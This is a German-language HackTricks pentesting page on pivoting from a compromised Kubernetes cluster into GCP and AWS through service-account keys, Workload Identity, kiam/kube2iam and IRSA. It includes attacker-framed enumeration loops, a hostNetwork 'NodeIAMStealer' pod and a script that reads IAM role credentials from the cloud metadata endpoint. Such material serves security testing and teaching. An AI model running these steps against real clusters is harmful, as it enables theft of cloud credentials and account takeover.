Kubernetes Pivoting to Clouds
Reading time: 13 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
GCP
Wenn Sie einen k8s-Cluster innerhalb von GCP betreiben, möchten Sie wahrscheinlich, dass eine Anwendung, die innerhalb des Clusters läuft, Zugriff auf GCP hat. Es gibt 2 gängige Möglichkeiten, dies zu tun:
GCP-SA-Schlüssel als Geheimnis einbinden
Eine gängige Methode, um Zugriff auf eine Kubernetes-Anwendung zu GCP zu gewähren, ist:
- Erstellen Sie ein GCP-Servicekonto
- Binden Sie die gewünschten Berechtigungen daran
- Laden Sie einen JSON-Schlüssel des erstellten SA herunter
- Binden Sie es als Geheimnis innerhalb des Pods ein
- Setzen Sie die Umgebungsvariable GOOGLE_APPLICATION_CREDENTIALS, die auf den Pfad verweist, an dem sich die JSON-Datei befindet.
warning
Daher sollten Sie als Angreifer, wenn Sie einen Container innerhalb eines Pods kompromittieren, nach dieser env Variable und json Dateien mit GCP-Anmeldeinformationen suchen.
GSA-JSON mit KSA-Geheimnis verknüpfen
Eine Möglichkeit, einem GSA Zugriff auf einen GKE-Cluster zu gewähren, besteht darin, sie auf folgende Weise zu binden:
- Erstellen Sie ein Kubernetes-Servicekonto im selben Namespace wie Ihr GKE-Cluster mit dem folgenden Befehl:
Copy codekubectl create serviceaccount <service-account-name>
- Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP-Dienstkontos enthält, dem Sie Zugriff auf den GKE-Cluster gewähren möchten. Sie können dies mit dem
gcloud
-Befehlszeilenwerkzeug tun, wie im folgenden Beispiel gezeigt:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Binden Sie das Kubernetes Secret an das Kubernetes-Dienstkonto mit dem folgenden Befehl:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
Im zweiten Schritt wurden die Anmeldeinformationen des GSA als Geheimnis des KSA festgelegt. Wenn Sie dann dieses Geheimnis von innerhalb des GKE-Clusters lesen können, können Sie zu diesem GCP-Dienstkonto eskalieren.
GKE Workload Identity
Mit Workload Identity können wir ein Kubernetes-Dienstkonto so konfigurieren, dass es als Google-Dienstkonto fungiert. Pods, die mit dem Kubernetes-Dienstkonto ausgeführt werden, authentifizieren sich automatisch als das Google-Dienstkonto, wenn sie auf Google Cloud APIs zugreifen.
Die erste Reihe von Schritten, um dieses Verhalten zu aktivieren, besteht darin, Workload Identity in GCP zu aktivieren (Schritte) und das GCP SA zu erstellen, das k8s nachahmen soll.
- Aktivieren Sie Workload Identity auf einem neuen Cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Erstellen/Aktualisieren eines neuen Nodepools (Autopilot-Cluster benötigen dies nicht)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Erstellen Sie das GCP-Dienstkonto zur Nachahmung von K8s mit GCP-Berechtigungen:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Verbinden Sie sich mit dem Cluster und erstellen Sie das Dienstkonto, das Sie verwenden möchten.
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Binden Sie die GSA mit der KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Führen Sie ein pod mit dem KSA aus und überprüfen Sie den Zugriff auf GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Überprüfen Sie den folgenden Befehl zur Authentifizierung, falls erforderlich:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Als Angreifer innerhalb von K8s sollten Sie nach SAs suchen, die die iam.gke.io/gcp-service-account
Annotation haben, da dies darauf hinweist, dass der SA auf etwas in GCP zugreifen kann. Eine weitere Möglichkeit wäre, zu versuchen, jede KSA im Cluster auszunutzen und zu überprüfen, ob sie Zugriff hat.
Von GCP aus ist es immer interessant, die Bindungen zu enumerieren und zu wissen, welchen Zugriff Sie SAs innerhalb von Kubernetes gewähren.
Dies ist ein Skript, um einfach über alle Pod-Definitionen zu iterieren und nach dieser Annotation zu suchen:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM-Rolle für Pods)
Eine (veraltete) Möglichkeit, IAM-Rollen an Pods zu vergeben, besteht darin, einen Kiam oder einen Kube2IAM Server zu verwenden. Grundsätzlich müssen Sie ein Daemonset in Ihrem Cluster mit einer Art von privilegierter IAM-Rolle ausführen. Dieses Daemonset wird den Pods, die es benötigen, Zugriff auf IAM-Rollen gewähren.
Zunächst müssen Sie konfigurieren, welche Rollen im Namespace zugänglich sind, und das tun Sie mit einer Annotation im Namespace-Objekt:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Sobald der Namespace mit den IAM-Rollen konfiguriert ist, die die Pods haben können, können Sie die Rolle, die Sie in jeder Pod-Definition wünschen, mit etwas wie:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Als Angreifer, wenn Sie diese Annotationen in Pods oder Namespaces oder einen laufenden kiam/kube2iam-Server (wahrscheinlich im kube-system) finden, können Sie jede rolle, die bereits von Pods verwendet wird, und mehr nachahmen (wenn Sie Zugriff auf das AWS-Konto haben, listen Sie die Rollen auf).
Pod mit IAM-Rolle erstellen
note
Die anzugebende IAM-Rolle muss im selben AWS-Konto wie die kiam/kube2iam-Rolle sein, und diese Rolle muss in der Lage sein, darauf zuzugreifen.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM-Rolle für K8s-Dienstkonten über OIDC
Dies ist der empfohlene Weg von AWS.
- Zuerst müssen Sie einen OIDC-Anbieter für den Cluster erstellen.
- Dann erstellen Sie eine IAM-Rolle mit den Berechtigungen, die das SA benötigt.
- Erstellen Sie eine Vertrauensbeziehung zwischen der IAM-Rolle und dem SA Namen (oder den Namespaces, die den Zugriff auf die Rolle für alle SAs des Namespaces gewähren). Die Vertrauensbeziehung überprüft hauptsächlich den Namen des OIDC-Anbieters, den Namen des Namespaces und den Namen des SA.
- Schließlich erstellen Sie ein SA mit einer Annotation, die die ARN der Rolle angibt, und die Pods, die mit diesem SA ausgeführt werden, haben Zugriff auf das Token der Rolle. Das Token wird in eine Datei geschrieben und der Pfad ist in
AWS_WEB_IDENTITY_TOKEN_FILE
angegeben (Standard:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Um aws mit dem Token von /var/run/secrets/eks.amazonaws.com/serviceaccount/token
zu erhalten, führen Sie aus:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Als Angreifer, wenn Sie einen K8s-Cluster auflisten können, überprüfen Sie Servicekonten mit dieser Annotation, um sich zu AWS zu eskalieren. Dazu müssen Sie einfach exec/create einen Pod mit einem der IAM privilegierten Servicekonten erstellen und das Token stehlen.
Darüber hinaus, wenn Sie sich in einem Pod befinden, überprüfen Sie Umgebungsvariablen wie AWS_ROLE_ARN und AWS_WEB_IDENTITY_TOKEN.
caution
Manchmal könnte die Trust Policy einer Rolle schlecht konfiguriert sein und anstatt AssumeRole-Zugriff auf das erwartete Servicekonto zu gewähren, gewährt sie ihn allen Servicekonten. Daher, wenn Sie in der Lage sind, eine Annotation auf einem kontrollierten Servicekonto zu schreiben, können Sie auf die Rolle zugreifen.
Überprüfen Sie die folgende Seite für weitere Informationen:
Finden Sie Pods und SAs mit IAM-Rollen im Cluster
Dies ist ein Skript, um einfach über alle Pods und SAs-Definitionen zu iterieren und nach dieser Annotation zu suchen:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Rolle
Der vorherige Abschnitt handelte davon, wie man IAM-Rollen mit Pods stiehlt, aber beachten Sie, dass ein Node des K8s-Clusters eine Instanz in der Cloud sein wird. Das bedeutet, dass der Node höchstwahrscheinlich eine neue IAM-Rolle haben wird, die Sie stehlen können (beachten Sie, dass normalerweise alle Nodes eines K8s-Clusters die gleiche IAM-Rolle haben, sodass es möglicherweise nicht sinnvoll ist, jeden Node zu überprüfen).
Es gibt jedoch eine wichtige Voraussetzung, um auf den Metadaten-Endpunkt vom Node zuzugreifen: Sie müssen sich im Node befinden (SSH-Sitzung?) oder zumindest dasselbe Netzwerk haben:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
IAM-Rollen-Token stehlen
Zuvor haben wir besprochen, wie man IAM-Rollen an Pods anheftet oder sogar wie man zum Knoten entkommt, um die IAM-Rolle zu stehlen, die der Instanz zugeordnet ist.
Sie können das folgende Skript verwenden, um Ihre neu erarbeiteten IAM-Rollen-Anmeldeinformationen zu stehlen:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Referenzen
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.